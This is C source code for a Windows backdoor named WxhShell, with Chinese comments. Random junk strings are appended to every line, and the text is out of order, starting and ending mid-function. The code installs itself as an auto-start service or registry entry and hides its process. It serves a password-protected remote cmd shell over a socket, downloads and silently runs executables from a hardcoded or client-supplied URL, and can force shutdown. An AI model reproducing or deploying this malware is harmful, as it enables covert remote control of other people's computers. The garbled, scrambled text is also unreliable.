    ExitThread(0); ~&~%qu  
    } .so{ RI  
    break; ?8(`tS(_?  
    } S~F:%@,*  
  // 获取shell T}[W')[s  
  case 's': { As (C8C<  
    CmdShell(wsh); h& (@gU`A  
    closesocket(wsh); 2`vCQV  
    ExitThread(0); Q[p0bD:  
    break; Md {,@ G  
  } B<[;rk  
  // 退出 E!VAA=  
  case 'x': { [JVI@1T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,/W< E  
    CloseIt(wsh); lrh6lt)  
    break; fu=}E5ScK  
    } tT yu,%/m  
  // 离开 .KT+,Y  
  case 'q': { c)SSi@< cv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VSZ6;&2^  
    closesocket(wsh); RQ{w`> K  
    WSACleanup(); S/d})8~.  
    exit(1); Xt= &  
    break; i&>,aiH@  
        } gH\r# wy|  
  } 7"xd'\c@  
  } ^^?DYC   
2ZtqZ64i  
  // 提示信息 9zO3KT2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D-3/?"n  
} &,."=G  
  } ?GFxJ6!%I  
OqBw&zm  
  return; hDlk! #*  
} R C (v#G  
Ti3BlWQH  
// shell模块句柄 {u.V8%8  
int CmdShell(SOCKET sock) 0uU%jN$  
{ 4&ea*w  
STARTUPINFO si; k #*|-?  
ZeroMemory(&si,sizeof(si)); YF>t{|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yekIw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I I>2\d|   
PROCESS_INFORMATION ProcessInfo; r$v?[x>+K  
char cmdline[]="cmd"; [k'Ph33c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cfeX (0  
  return 0; +zs6$OI]V  
} 6eDIS|/  
GYO\l.%V5y  
// 自身启动模式 4E |6l  
int StartFromService(void) ;7`<.y  
{ g=Qga09  
typedef struct z{#F9'\&  
{ Y[~6f,?^  
  DWORD ExitStatus; ]Hd 0 Y%  
  DWORD PebBaseAddress; 50DPzn  
  DWORD AffinityMask; 5h:SH]tn8]  
  DWORD BasePriority; ^ 2kWD8c*  
  ULONG UniqueProcessId; Yn<0D|S;X  
  ULONG InheritedFromUniqueProcessId; uAjGR  
}   PROCESS_BASIC_INFORMATION; <Z m ,q}  
CY>NU  
PROCNTQSIP NtQueryInformationProcess; rIb[gm)Rk  
(FjgnsW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u\e#_*>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j^%i?BWw  
)%y~{j+M  
  HANDLE             hProcess; .v" lY2:N  
  PROCESS_BASIC_INFORMATION pbi; rd,mbH[<C  
uPF yRWK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u4<r$[]V  
  if(NULL == hInst ) return 0; ]R4)FH|><  
HJJ ^pk&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xu:m~8%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g Go  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y{<#pS.  
xeI ,Kz."  
  if (!NtQueryInformationProcess) return 0; ,K9UT#h  
`C*!de]Y%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f <w*l<@  
  if(!hProcess) return 0; Pm1 " 0  
@Qs-A^.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1=;QWb6  
m|]^f;7z  
  CloseHandle(hProcess); D+SpSO7yg  
 Nr[Rp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \OU+Kl<  
if(hProcess==NULL) return 0; YjX=@  
42wcpSp  
HMODULE hMod; Mb>6.l  
char procName[255]; CD&m4^X5D  
unsigned long cbNeeded; X#3<hN*v  
`U g.c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6#KI? 6  
Dz50,*}J  
  CloseHandle(hProcess); 13QCM0#  
^z^>]Qd  
if(strstr(procName,"services")) return 1; // 以服务启动 r/4]b]n  
|?| u-y  
  return 0; // 注册表启动 0&.lSwa  
} q9 ;\B&  
b;t]k9:"L  
// 主模块 -Y[-t;  
int StartWxhshell(LPSTR lpCmdLine) t~M<j| ]k  
{ y[|g!9Rp  
  SOCKET wsl; =+"'=o  
BOOL val=TRUE; ;yZ N "r  
  int port=0; +E [bLz^  
  struct sockaddr_in door; *(`.h\+  
%f-<ol  
  if(wscfg.ws_autoins) Install(); $dnHUBB  
Nb#7&_f=  
port=atoi(lpCmdLine); WsV3>=@f  
) ,hj7  
if(port<=0) port=wscfg.ws_port; \Zv =?\  
dI !/:x  
  WSADATA data; v$i%>tQ\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; # 0!IUSa  
J:lwq@u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {@#L'i|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0l6iv[qu5w  
  door.sin_family = AF_INET; /K!,^Xn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }}1/Ede{5  
  door.sin_port = htons(port); H n!vTB  
h(8;7} K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o3yqG#dA  
closesocket(wsl); (7b_g6>:  
return 1; +lT]s#Fif  
} w Y. g- 3  
i/J NG  
  if(listen(wsl,2) == INVALID_SOCKET) { %^l&fM*  
closesocket(wsl); u}1vn}F{  
return 1; )/Xrhhx  
} \!QF9dP4  
  Wxhshell(wsl); =Yj[MVn  
  WSACleanup(); BZ<z@DJp  
G zXP  
return 0; ]'h)7  
#5C3S3e=  
} M0zD)@  
DjIswI1I  
// 以NT服务方式启动 #(IMRdUf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )M N yOj  
{ tKeO+6l  
DWORD   status = 0; Qg>GW  
  DWORD   specificError = 0xfffffff; "|'`'W  
tTFoS[V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 93Gur(j^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3K!0 4\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |2<f<k/UT  
  serviceStatus.dwWin32ExitCode     = 0; $cOD6Xr)d  
  serviceStatus.dwServiceSpecificExitCode = 0; 1:!rw,Jzl`  
  serviceStatus.dwCheckPoint       = 0; R$fIb}PDr  
  serviceStatus.dwWaitHint       = 0; T+nC>}*jgJ  
0o|,& K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _A|\.(t  
  if (hServiceStatusHandle==0) return; `7%eA9*.m  
,A!e"=HF  
status = GetLastError(); j& o+KV  
  if (status!=NO_ERROR) ^X;Xti  
{ ~fp+@j-A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3t8H?B12ow  
    serviceStatus.dwCheckPoint       = 0; /Z " 4[  
    serviceStatus.dwWaitHint       = 0; /C"s_:m;3  
    serviceStatus.dwWin32ExitCode     = status; fF>qU-  
    serviceStatus.dwServiceSpecificExitCode = specificError; YaZt+WA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  |~uzQU7  
    return; PBs<8xBx^  
  } g**% J Xo  
*z"1MU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e6i./bf3  
  serviceStatus.dwCheckPoint       = 0; y}-S~Ov>I  
  serviceStatus.dwWaitHint       = 0; .(1j!B4^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0^&R7Rv c  
} xnQGCw?S&}  
O 4Pd N?  
// 处理NT服务事件,比如:启动、停止 :_\!t45  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E9d i  
{ q uGPk)c  
switch(fdwControl) LEngZ~sV/  
{ h!N&gZ[0  
case SERVICE_CONTROL_STOP: y]YS2^  
  serviceStatus.dwWin32ExitCode = 0; wt.{Fqm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M}oj!xGB  
  serviceStatus.dwCheckPoint   = 0; c^Gwri4  
  serviceStatus.dwWaitHint     = 0; , q@(L  
  { &/hr-5k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T{H#]BF<E  
  } :iQ^1S` pH  
  return; fI d)  
case SERVICE_CONTROL_PAUSE: ,c7u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; khN:+V|  
  break; KvJP(!{  
case SERVICE_CONTROL_CONTINUE: )]b@eGNGj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K# i*9sM  
  break; NVA`t]gn  
case SERVICE_CONTROL_INTERROGATE: ):fu   
  break; {.D2ON  
}; 8cBW] \ v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Ra\2(bR  
} S[hJ{0V  
E"1 ;i  
// 标准应用程序主函数 ?tC}M;~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g. Caapy  
{ B mBzOk^  
/yw\(|T  
// 获取操作系统版本 8@W/43K8-  
OsIsNt=GetOsVer(); &8_f'+i0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d+m6-4[_k  
VVQ74b  
  // 从命令行安装 Y\g90  
  if(strpbrk(lpCmdLine,"iI")) Install(); rI^~9Rz  
aC8,Y$>?E`  
  // 下载执行文件 u};]LX\E  
if(wscfg.ws_downexe) { $|cp;~ 1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &Rl3y\ r  
  WinExec(wscfg.ws_filenam,SW_HIDE); [5p7@6:$u  
} KG-k$glD  
^8-~@01.`_  
if(!OsIsNt) { k|$"TFXx;  
// 如果时win9x,隐藏进程并且设置为注册表启动 }u3H4S<o  
HideProc(); L >Ez-  
StartWxhshell(lpCmdLine); "'}v0*[  
} W#Hv~1  
else nhQ44qRgQ  
  if(StartFromService()) (:y,CsR}4  
  // 以服务方式启动 ! F;<xgw  
  StartServiceCtrlDispatcher(DispatchTable); zA'gb'MmW  
else D#/%*|  
  // 普通方式启动 93^(O8.  
  StartWxhshell(lpCmdLine); nT@6g|!  
H81.p  
return 0; V^Mf4!A(y  
} @O<@f8-  
4gv.E 0Fo  
V6z@"+  
A^4kYOe  
=========================================== *m| t =9E  
RvPniT(<?  
]w_  
y= oVUsG  
/H%<oAjp6  
%Vw|5yA4  
" X@ bn??  
QWz Op\+  
#include <stdio.h> r(,= uLc  
#include <string.h> da9*9yN  
#include <windows.h> clq~ ;hx  
#include <winsock2.h> DYT@BiW{  
#include <winsvc.h> h+B'_ `(  
#include <urlmon.h> 5D]30  
Fi?32e4KI5  
#pragma comment (lib, "Ws2_32.lib") \tiUE E|k  
#pragma comment (lib, "urlmon.lib") g:uvoMUD  
a+YR5*&[OO  
#define MAX_USER   100 // 最大客户端连接数  4]DAh  
#define BUF_SOCK   200 // sock buffer -TK|Y"  
#define KEY_BUFF   255 // 输入 buffer {8!ZKlB  
{?@t/.4[W3  
#define REBOOT     0   // 重启 F=-uDtQ <N  
#define SHUTDOWN   1   // 关机 .Ca"$2  
WA]%,6  
#define DEF_PORT   5000 // 监听端口 :Wyn+  
P0'e"\$  
#define REG_LEN     16   // 注册表键长度 H})Dcg3  
#define SVC_LEN     80   // NT服务名长度 nJtEUVMt  
7x[LF ^o  
// 从dll定义API ( Lok  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Xq8uY/j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  !fQJL   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  .6O52E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [):{5hMA  
97qtJ(ESI  
// wxhshell配置信息 l)tTg+:  
struct WSCFG { 9*}iBs  
  int ws_port;         // 监听端口 &\J?[>EJ.  
  char ws_passstr[REG_LEN]; // 口令 e5qrQwU  
  int ws_autoins;       // 安装标记, 1=yes 0=no i ll-%OPeg  
  char ws_regname[REG_LEN]; // 注册表键名 3bbp>7V!  
  char ws_svcname[REG_LEN]; // 服务名 0`VD!_`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !G)mjvEe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /~o7Q$)-b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `y8 ?=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~")h E%Kl}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (R4PD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sBP}n.#$  
5cyddlaat  
}; o }9M`[  
2Ueq6IuQ  
// default Wxhshell configuration !Y ;H(.A/  
struct WSCFG wscfg={DEF_PORT, T[5gom  
    "xuhuanlingzhe", P &;y] ,)E  
    1, Od0S2hHO  
    "Wxhshell", y-w2O]  
    "Wxhshell", Ujce |>Wn  
            "WxhShell Service", `3 f_d}b  
    "Wrsky Windows CmdShell Service", -Z:]<;qU  
    "Please Input Your Password: ", 82j'MgGP  
  1, !cq=)xR  
  "http://www.wrsky.com/wxhshell.exe", A[u)wX^`f^  
  "Wxhshell.exe" Vk MinE  
    }; 5x*5|8  
f,St h7y  
// 消息定义模块 |ZvNH ~!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z~r[;={,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G{@C"H[$<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ni+3b  
char *msg_ws_ext="\n\rExit."; I#"t'=9H  
char *msg_ws_end="\n\rQuit."; L8K0^~Mk  
char *msg_ws_boot="\n\rReboot..."; 4` '8fe/"  
char *msg_ws_poff="\n\rShutdown..."; [8,PO  
char *msg_ws_down="\n\rSave to "; O0@w(L-  
6eOrs-ty  
char *msg_ws_err="\n\rErr!"; mND XzT&  
char *msg_ws_ok="\n\rOK!"; YS]>_  
EKqi+T^=F  
char ExeFile[MAX_PATH]; lp,\]]  
int nUser = 0; RY9+ 9i  
HANDLE handles[MAX_USER]; ]vm\3=@}9  
int OsIsNt; W[@i;f^g  
,/i_QgP  
SERVICE_STATUS       serviceStatus; k/df(cs  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :=rA Yc3]  
FJO"|||Y'|  
// 函数声明 r8IX/ ,  
int Install(void); oS~}TR:}  
int Uninstall(void); C@*%AY  
int DownloadFile(char *sURL, SOCKET wsh); `*>V6B3  
int Boot(int flag); 7SBM^r}  
void HideProc(void); ?QGmoQ)  
int GetOsVer(void); %0vTA_W  
int Wxhshell(SOCKET wsl); ;(K  
void TalkWithClient(void *cs); ! mm5I#s  
int CmdShell(SOCKET sock); u K'<xM"%T  
int StartFromService(void); A:kkCG!~Nf  
int StartWxhshell(LPSTR lpCmdLine); ?3`q+[:  
3>i>@n_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;4!=DFbU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }c} ( 5  
Yx6hA#7I  
// 数据结构和表定义 RXBb:f  
SERVICE_TABLE_ENTRY DispatchTable[] = pJd0k"{  
{ \;-qdV_JB  
{wscfg.ws_svcname, NTServiceMain}, ;SfNKu  
{NULL, NULL} U);OR  
}; 4py(R-8\  
1 ojhh7<  
// 自我安装 9u?(^(.  
int Install(void) L59bu/LfL  
{ ,!`SY)  
  char svExeFile[MAX_PATH]; #e*X0;m  
  HKEY key; Ejq=*UOP  
  strcpy(svExeFile,ExeFile); lj)f4zu  
vK(I3db !  
// 如果是win9x系统,修改注册表设为自启动 J2r1=5HS  
if(!OsIsNt) { Yrpxy.1=F5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'V&2Xvl%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7U,k 2LS  
  RegCloseKey(key); \yM-O-{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]pWP?Ws  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [Gh"ojt]w  
  RegCloseKey(key); opdu=i=E  
  return 0; !6Q`>s]  
    } rnu e(t  
  } k_!+V`Ro#  
} S."7+g7Ar  
else { I0DM=V>;  
hm3jpWi 8  
// 如果是NT以上系统,安装为系统服务 Id %_{),HX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }&1Iyb  
if (schSCManager!=0) *wwhZe4V  
{ 27>a#vCT  
  SC_HANDLE schService = CreateService co/7lsW  
  ( =N_,l'U\^  
  schSCManager, 9RxO7K  
  wscfg.ws_svcname, *xcP`  
  wscfg.ws_svcdisp, ;W0]66&  
  SERVICE_ALL_ACCESS, +vz` go  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2/@D7>F&g  
  SERVICE_AUTO_START, _S"f_W  
  SERVICE_ERROR_NORMAL, 71O3O7  
  svExeFile, E:FO_R(Xq  
  NULL, 8Y# bN*!  
  NULL, a}>Dz 1R  
  NULL, j5\$[-';  
  NULL, #XI"@pD  
  NULL hq?jdNy :  
  ); g]|_ `  
  if (schService!=0) @rO4y`  
  { $M':&i5`,  
  CloseServiceHandle(schService); 8%[HYgd5)  
  CloseServiceHandle(schSCManager); kJkxx*:u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cn%2OP:L^  
  strcat(svExeFile,wscfg.ws_svcname); Sj)}qM-y#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t+Z`n(>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?U_9{}r  
  RegCloseKey(key); ~GG?GB  
  return 0; Gy!P,a)z  
    } bD<qNqX$  
  } }E;F)=E  
  CloseServiceHandle(schSCManager); S5_t1wqBJ  
} wVqd$nsY"  
} [9V]On  
F}U5d^!2  
return 1; Fc8E Y*  
} )p8I @E  
B,_`btJh  
// 自我卸载 ''S&e  
int Uninstall(void)   \&a.}t  
{ . uR M{Bs  
  HKEY key; m=TJDr-  
i"HgvBHx  
if(!OsIsNt) { 9cd8=][  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K)S;:MLG=  
  RegDeleteValue(key,wscfg.ws_regname); .0|=[|  
  RegCloseKey(key); Q> 8pP\ho  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rGlRAn#?,  
  RegDeleteValue(key,wscfg.ws_regname); \cQ .|S  
  RegCloseKey(key); R#(G%66   
  return 0; 4DLq}v  
  } zX kx7d8  
} Sdd9Dv?!  
} 3]U]?h  
else { by86zX  
hazq#J!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @(:v_l  
if (schSCManager!=0) hVP IHQt  
{ n#*`!#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~|l IC !q  
  if (schService!=0) `qiQ$kz  
  { gUVn;_  
  if(DeleteService(schService)!=0) { +l?; )  
  CloseServiceHandle(schService); 9`"DFFSMS  
  CloseServiceHandle(schSCManager); f: xWu-  
  return 0; dvjTyX  
  } *8)2iv4[  
  CloseServiceHandle(schService); F9H~k"_ZJR  
  } (][LQ6Pc  
  CloseServiceHandle(schSCManager); d~*TIN8Ke~  
} lj2=._@R  
} tNnyue{p  
;/LD)$_  
return 1; u+D[_yd^  
} x*}bo))hb  
}!)F9r@\  
// 从指定url下载文件 0JY WrPR  
int DownloadFile(char *sURL, SOCKET wsh) [VSU"AJY  
{ EO)%UrWnC  
  HRESULT hr; +.Bmkim  
char seps[]= "/"; &uM^0eM  
char *token; 7Kf}O6nE  
char *file; (~s|=Hxq|-  
char myURL[MAX_PATH]; f9TV%fG?  
char myFILE[MAX_PATH]; Cca0](R*&  
8o-bd_  
strcpy(myURL,sURL); _:J*Cm[q  
  token=strtok(myURL,seps); ?Zz'|.l@  
  while(token!=NULL) [@"wd_f{l  
  { Owf.f;QR  
    file=token; c ~F dx  
  token=strtok(NULL,seps); naNyGE7)  
  } TJy4<rb  
}$g mK  
GetCurrentDirectory(MAX_PATH,myFILE); Bct"X#W|&  
strcat(myFILE, "\\"); ^J x$t/t  
strcat(myFILE, file); XnUO*v^]  
  send(wsh,myFILE,strlen(myFILE),0); `v nJ4*  
send(wsh,"...",3,0); "5!BU&   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .g% Y@r)=5  
  if(hr==S_OK) vtxvS3   
return 0; 0ys~2Y!eH  
else 1 W'F3  
return 1; oq;'eM1,.  
ftZj}|R!  
} @Doyt{|T  
=AOWeLk*G  
// 系统电源模块 Xl%0/ o  
int Boot(int flag) Lz4eh WntO  
{ ZR3nK0  
  HANDLE hToken;  7}B   
  TOKEN_PRIVILEGES tkp; r;qzo .  
p!W[X%`)  
  if(OsIsNt) { z?ucIsbR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4]XI"-M^D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "x*-PFT  
    tkp.PrivilegeCount = 1; ,&]MOe4@>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '2^ Yw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3071:W  
if(flag==REBOOT) { #DI$Oc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v[S-Pi1  
  return 0; 'Ud| Ex@A9  
} 3/goCg  
else { ]tt} #  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8i 0  
  return 0; rPiNv 30L  
} &M"ouy Zo9  
  } wH6u5*$p  
  else { n:#TOU1ix<  
if(flag==REBOOT) { F0dI/+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3$p#;a:=n  
  return 0; Utt>H@t[  
} i~yX tya  
else { (#Mp 5C'X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;b%{ilx:  
  return 0; A7-r <s  
} K|^wc$  
} xtfRrX^  
bEH de*q(  
return 1; 3y`F<&sA  
} f7<pEGb  
.v`b[4M4  
// win9x进程隐藏模块 3h=8"lRc  
void HideProc(void) "pvZ,l>8f  
{ z,Lzgh  
WeT* C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M}F~_S0h  
  if ( hKernel != NULL ) f_6`tq m%  
  { Nhf~PO({&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wNQqfq Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q~,YbZ-7  
    FreeLibrary(hKernel); hR)2xz  
  } jBtj+ TL8  
`T WN^0!]  
return; <' m6^]:  
} clDHTj=~  
@LX6hm*}  
// 获取操作系统版本 M]EsS^/X  
int GetOsVer(void) lrEj/"M  
{ `y!/F?o+!  
  OSVERSIONINFO winfo; >-cfZ9{!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f~M8A.  
  GetVersionEx(&winfo); kU*{4G|6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0Xl%uF+w  
  return 1; \cySWP[  
  else 'fW#7W  
  return 0; Q GPw2Q  
} ;4~U,+Av  
<+]f`c*Z  
// 客户端句柄模块 q&si%  
int Wxhshell(SOCKET wsl) _PXdzeI.  
{ 3C^1f rF  
  SOCKET wsh; FLr ;`3  
  struct sockaddr_in client; _N#&psQzw  
  DWORD myID; vK$^y^  
#}yTDBt  
  while(nUser<MAX_USER) 8 %Sb+w07  
{ SBfFZw)  
  int nSize=sizeof(client); #Ob]]!y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T{Zwm!s  
  if(wsh==INVALID_SOCKET) return 1; v%91k  
=!.m GW-Q}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (Wj2?k/]  
if(handles[nUser]==0) gRgog*z  
  closesocket(wsh); Px;Cg 6  
else ;u-4KK  
  nUser++; u?0d[mC  
  } ]> G&jd7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); igkz2SI  
trYTs,KV  
  return 0; z'MS#6|}  
} ?b:_AO&  
>- Bg%J9  
// 关闭 socket Z!{UWegun  
void CloseIt(SOCKET wsh) ClUSrSp  
{ >mm' -P  
closesocket(wsh); hx!7w}[A  
nUser--; =nRuY '  
ExitThread(0); 1mW%  
} hu@7?f_"L/  
YD_]!HK}  
// 客户端请求句柄 AFm1t2,+;  
void TalkWithClient(void *cs) Y 62r  
{ AXW!]=?X  
nWgv~{,x  
  SOCKET wsh=(SOCKET)cs; 7TWNB{ K_  
  char pwd[SVC_LEN]; P]6}\ ]~  
  char cmd[KEY_BUFF]; o$J6 ~dn  
char chr[1]; RUXCq`)"<  
int i,j; 3LK%1+)4  
N6/T#UVns  
  while (nUser < MAX_USER) { 8jnz}aBd  
!1 :@8q  
if(wscfg.ws_passstr) { GjQfi'vCk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %}qbkkZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8l)  
  //ZeroMemory(pwd,KEY_BUFF); 5cTY;@@  
      i=0; ^R_e  
  while(i<SVC_LEN) { @.9I3E-=  
`E>vG-9  
  // 设置超时 x>3@R0A 1:  
  fd_set FdRead; ")`S0n5e  
  struct timeval TimeOut; q-&P=Yk  
  FD_ZERO(&FdRead); kX;$}7n  
  FD_SET(wsh,&FdRead); )"u:ytK{  
  TimeOut.tv_sec=8; %+tV/7|F  
  TimeOut.tv_usec=0; &RY)o^g[4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "JhimgwvY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AV4~U:vU  
dHII.=lT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ycpE=fso'  
  pwd=chr[0]; 8LrK94  
  if(chr[0]==0xd || chr[0]==0xa) { i0Pn Z J  
  pwd=0; |B[eJq  
  break; ( $d4:Ww  
  } Ps>&"k$T  
  i++; kC$I2[t!  
    } O|z%DkH[  
|C-y}iQ:6~  
  // 如果是非法用户,关闭 socket :5# V^\3*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >BoSw&T$Q  
} ecFi (eMD  
\< 65??P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H5M#q6`H6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3H8Al  
)%j"  
while(1) { `XMM1y>V9>  
T.Zz;2I  
  ZeroMemory(cmd,KEY_BUFF); n0fRu`SNV  
JAP (|  
      // 自动支持客户端 telnet标准   jD9lz-Y@  
  j=0; uxDLDA$;  
  while(j<KEY_BUFF) { a$}6:E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |uUuFm  
  cmd[j]=chr[0]; 9k>uRV6  
  if(chr[0]==0xa || chr[0]==0xd) { )I9aC~eAD  
  cmd[j]=0; ukihx?5  
  break; r+\/G{+=}  
  } <GfVMD  
  j++; a%J /0'(d  
    } ?qT(3C9p  
- 9&g[  
  // 下载文件 ]|LgVXEpx  
  if(strstr(cmd,"http://")) { z8iENECwj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 14l; *  
  if(DownloadFile(cmd,wsh)) yT:!%\F9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pj!%ym3A  
  else !S,pRS+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z_itu73I  
  } 'NjSu64W  
  else { +by|  
!: |nI77|  
    switch(cmd[0]) { `d`&R.'  
  x[Q&k[xV  
  // 帮助 PqfVX8/q0  
  case '?': { Qj!d^8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3o0IjZ=[>  
    break; 1t2cY;vJ  
  } :,YLx9i>  
  // 安装 RV92qn B  
  case 'i': { wAz,vq=x  
    if(Install()) 78w4IICk  
